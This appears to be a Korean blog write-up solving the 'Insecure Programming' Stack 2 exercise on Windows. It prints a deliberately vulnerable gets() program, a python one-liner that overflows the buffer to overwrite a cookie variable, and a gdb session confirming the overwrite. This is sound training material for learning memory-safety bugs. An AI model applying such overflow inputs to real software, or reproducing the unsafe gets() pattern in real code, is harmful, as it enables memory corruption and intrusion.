Insecure Programming by example
Stack 2
#include <stdio.h>
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x01020305)
printf("you win!\n");
}
이번 문제의 경우 목표 cookie
값이 0x01020305로 ASCII 코드로 확인해보면 문자로 입력이 불가한 값임을 알 수 있다.
- ASCII Table
Tables
For convenience, below are more compact tables in hex and decimal.
2 3 4 5 6 7 30 40 50 60 70 80 90 100 110 120
------------- ---------------------------------
0: 0 @ P ` p 0: ( 2 < F P Z d n x
1: ! 1 A Q a q 1: ) 3 = G Q [ e o y
2: " 2 B R b r 2: * 4 > H R \ f p z
3: # 3 C S c s 3: ! + 5 ? I S ] g q {
4: $ 4 D T d t 4: " , 6 @ J T ^ h r |
5: % 5 E U e u 5: # - 7 A K U _ i s }
6: & 6 F V f v 6: $ . 8 B L V ` j t ~
7: ' 7 G W g w 7: % / 9 C M W a k u DEL
8: ( 8 H X h x 8: & 0 : D N X b l v
9: ) 9 I Y i y 9: ' 1 ; E O Y c m w
A: * : J Z j z
B: + ; K [ k {
C: , < L \ l |
D: - = M ] m }
E: . > N ^ n ~
F: / ? O _ o DEL
이런 경우 \xNumber
형식으로 직접 삽입할 코드를 입력하여 프로그램에 전달하면 쉽게 진행할 수 있다. (입력의 편의성 때문에 문자로 대체 가능한 경우 문자로 작성하는 게 더 편하다.)
$ python -c "print ('\x05'+'\x03'+'\x02'+'\x01')*21" | ./stack2.exe
buf: 0028fe6c cookie: 0028febc
you win!
stack1 문제와 동일하게 buf
배열 값이 80이므로 4개의 16진수를 21번 이어붙여 프로그램에 전달하였다.
이제 gdb로 디버깅을 진행하기 위해서 삽입할 인자 값을 별도의 파일로 생성하자. 이 파일은 디버깅 진행 중에 r < [생성 파일]
형식으로 사용될 예정이다.
$ python -c "print ('\x05'+'\x03'+'\x02'+'\x01')*21" > stack2_input
stack1과 같이 집중해서 볼만한 특이 사항은 없다. 코드를 눈으로 읽어보고 지나가자.
(gdb) set disassembly-flavor intel
(gdb) disas
No frame selected.
(gdb) b main
Breakpoint 1 at 0x401603
(gdb) r
Starting program: D:\011. ETC\deadbits\stack2.exe
[New Thread 6972.0x2784]
Breakpoint 1, 0x00401603 in main ()
(gdb) disas
Dump of assembler code for function main:
0x00401600 <+0>: push ebp
0x00401601 <+1>: mov ebp,esp
=> 0x00401603 <+3>: and esp,0xfffffff0
0x00401606 <+6>: sub esp,0x70
0x00401609 <+9>: call 0x4017d0 <__main>
0x0040160e <+14>: lea eax,[esp+0x6c]
0x00401612 <+18>: mov DWORD PTR [esp+0x8],eax
0x00401616 <+22>: lea eax,[esp+0x1c]
0x0040161a <+26>: mov DWORD PTR [esp+0x4],eax
0x0040161e <+30>: mov DWORD PTR [esp],0x404044
0x00401625 <+37>: call 0x4026d4 <printf>
0x0040162a <+42>: lea eax,[esp+0x1c]
0x0040162e <+46>: mov DWORD PTR [esp],eax
0x00401631 <+49>: call 0x4026ec <gets>
0x00401636 <+54>: mov eax,DWORD PTR [esp+0x6c]
0x0040163a <+58>: cmp eax,0x1020305
0x0040163f <+63>: jne 0x40164d <main+77>
0x00401641 <+65>: mov DWORD PTR [esp],0x40405c
0x00401648 <+72>: call 0x4026cc <puts>
0x0040164d <+77>: mov eax,0x0
0x00401652 <+82>: leave
0x00401653 <+83>: ret
0x00401654 <+84>: xchg ax,ax
0x00401656 <+86>: xchg ax,ax
0x00401658 <+88>: xchg ax,ax
0x0040165a <+90>: xchg ax,ax
0x0040165c <+92>: xchg ax,ax
0x0040165e <+94>: xchg ax,ax
End of assembler dump.
(gdb) b *main+58
(gdb) info b
Num Type Disp Enb Address What
1 breakpoint keep y 0x00401603 <main+3>
breakpoint already hit 1 time
2 breakpoint keep y 0x0040163a <main+58>
(gdb) delete 1
(gdb) r < stack2_input
The program being debugged has been started already.
Start it from the beginning? (y or n) [answered Y; input not from terminal]
Starting program: D:\011. ETC\deadbits\stack2.exe < stack2_input
[New Thread 8300.0xb88]
Breakpoint 2, 0x0040163a in main ()
(gdb) x/32x $esp
0x28fe50: 0x0028fe6c 0x0028fe6c 0x0028febc 0x00401687
0x28fe60: 0x00401740 0x75883021 0x0028fe70 0x01020305
0x28fe70: 0x01020305 0x01020305 0x01020305 0x01020305
0x28fe80: 0x01020305 0x01020305 0x01020305 0x01020305
0x28fe90: 0x01020305 0x01020305 0x01020305 0x01020305
0x28fea0: 0x01020305 0x01020305 0x01020305 0x01020305
0x28feb0: 0x01020305 0x01020305 0x01020305 0x01020305
0x28fec0: 0x00000000 0x00aa178c 0x0028ff88 0x004013eb
(gdb) c
Continuing.
buf: 0028fe6c cookie: 0028febc
you win!
[Inferior 1 (process 4904) exited normally]
(gdb)
전체 목록 보기 : Insecure programming
진행 환경 : Windows7 MSYS32